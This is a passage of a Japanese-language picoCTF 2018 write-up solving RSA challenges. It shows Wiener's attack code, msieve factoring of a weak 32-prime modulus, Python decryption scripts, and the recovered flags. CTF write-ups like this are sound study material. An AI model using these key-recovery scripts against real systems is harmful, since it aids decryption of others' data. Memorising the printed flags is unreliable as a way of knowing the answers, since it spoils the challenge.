63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421 e = 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429 d = wieners_attack(e, n) m = pow(c, d, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
264003602020102370693041857442610586342633199683725005643958437442448465210344626586049655752028764806997162365
b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}'
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}
Super Safe RSA 3 - Points: 600
The more primes, the safer.. right.?.? Connect with nc
2018shell1.picoctf.com 55431.
アプローチ：Multi-Prime RSA
> nc 2018shell1.picoctf.com 55431 c: 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251 n: 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 e: 65537
問題文的にMulti-Prime RSAかなと思ったのでmsieveなら素因数分解してくれると信じて1012bitあるnを投げました．
./msieve -q -v 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 Msieve v. 1.53 (SVN Unversioned directory) Wed Oct 3 03:08:33 2018 random seeds: 25c78b0d 3f0ecafc factoring 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 (305 digits) no P-1/P+1/ECM available, skipping commencing quadratic sieve (87-digit input) using multiplier of 3 using generic 32kb sieve core sieve interval: 17 blocks of size 32768 processing polynomials in batches of 12 using a sieve bound of 1467283 (56000 primes) using large prime bound of 117382640 (26 bits) using double large prime bound of 335186832815840 (41-49 bits) using trial factoring cutoff of 49 bits polynomial 'A' values have 11 factors sieving in progress (press Ctrl-C to pause) 56286 relations (16033 full + 40253 combined from 584345 partial), need 56096 56286 relations (16033 full + 40253 combined from 584345 partial), need 56096 sieving complete, commencing postprocessing begin with 600378 relations reduce to 133352 relations in 10 passes attempting to read 133352 relations recovered 133352 relations recovered 112670 polynomials attempting to build 56286 cycles found 56286 cycles in 5 passes distribution of cycle lengths: length 1 : 16033 length 2 : 11206 length 3 : 10077 length 4 : 7173 length 5 : 4954 length 6 : 3051 length 7 : 1808 length 9+: 1984 largest cycle: 19 relations matrix is 56000 x 56286 (13.8 MB) with weight 3156085 (56.07/col) sparse part has weight 3156085 (56.07/col) filtering completed in 3 passes matrix is 51220 x 51284 (12.6 MB) with weight 2903380 (56.61/col) sparse part has weight 2903380 (56.61/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 51172 x 51284 (8.1 MB) with weight 2242595 (43.73/col) sparse part has weight 1623572 (31.66/col) using block size 8192 and superblock size 786432 for processor cache size 8192 kB commencing Lanczos iteration memory use: 5.0 MB lanczos halted after 811 iterations (dim = 51170) recovered 24 nontrivial dependencies p10 factor: 2219154557 p10 factor: 2387104061 p10 factor: 2405378527 p10 factor: 2544479083 p10 factor: 2613094949 p10 factor: 2799315227 p10 factor: 2816791123 p10 factor: 2834061889 p10 factor: 2844201319 p10 factor: 2928527267 p10 factor: 3003211697 p10 factor: 3016457393 p10 factor: 3028023013 p10 factor: 3053973581 p10 factor: 3117707869 p10 factor: 3118037621 p10 factor: 3420176147 p10 factor: 3447509633 p10 factor: 3449299361 p10 factor: 3505616701 p10 factor: 3638264291 p10 factor: 3671514991 p10 factor: 3822896303 p10 factor: 3828803843 p10 factor: 3886043443 p10 factor: 3890108207 p10 factor: 3923927089 p10 factor: 4018202273 p10 factor: 4120111301 p10 factor: 4201294343 p10 factor: 4233470149 p10 factor: 4254827363 elapsed time 00:10:54
11分弱待つと32個の素数を得ることができました．
あとはtotient(n)の生成を一工夫してdを計算すればflagがとれます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs if __name__ == '__main__': c = 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251 n = 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 e = 65537 multi_primes = [2219154557, 2387104061 ,2405378527 ,2544479083 ,2613094949 ,2799315227 ,2816791123 ,2834061889 ,2844201319 ,2928527267 ,3003211697 ,3016457393 ,3028023013 ,3053973581 ,3117707869 ,3118037621 ,3420176147 ,3447509633 ,3449299361 ,3505616701 ,3638264291 ,3671514991 ,3822896303 ,3828803843 ,3886043443 ,3890108207 ,3923927089 ,4018202273 ,4120111301 ,4201294343 ,4233470149 ,4254827363] phi = 1 for x in multi_primes: phi *= (x - 1) d = gmpy.invert(e, phi) m = pow(c, d, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
13016382529449106065908111207362094589157720258852086801305724803301206193158525
b'picoCTF{p_&_q_n0_r_$_t!!_5280799}'
picoCTF{p_&_q_n0_r_$_t!!_5280799}
まとめ
- Cryptographyは解いてて学びがありますね
- RSA関連の問題はそこそこ解けるようになったと思う
- 逆にAES関連の問題は1問も解けなかったので他の人のWrite-up読んで勉強したい
- まだ難しい問題は解けていないので暗号全般の勉強を続けていきたい
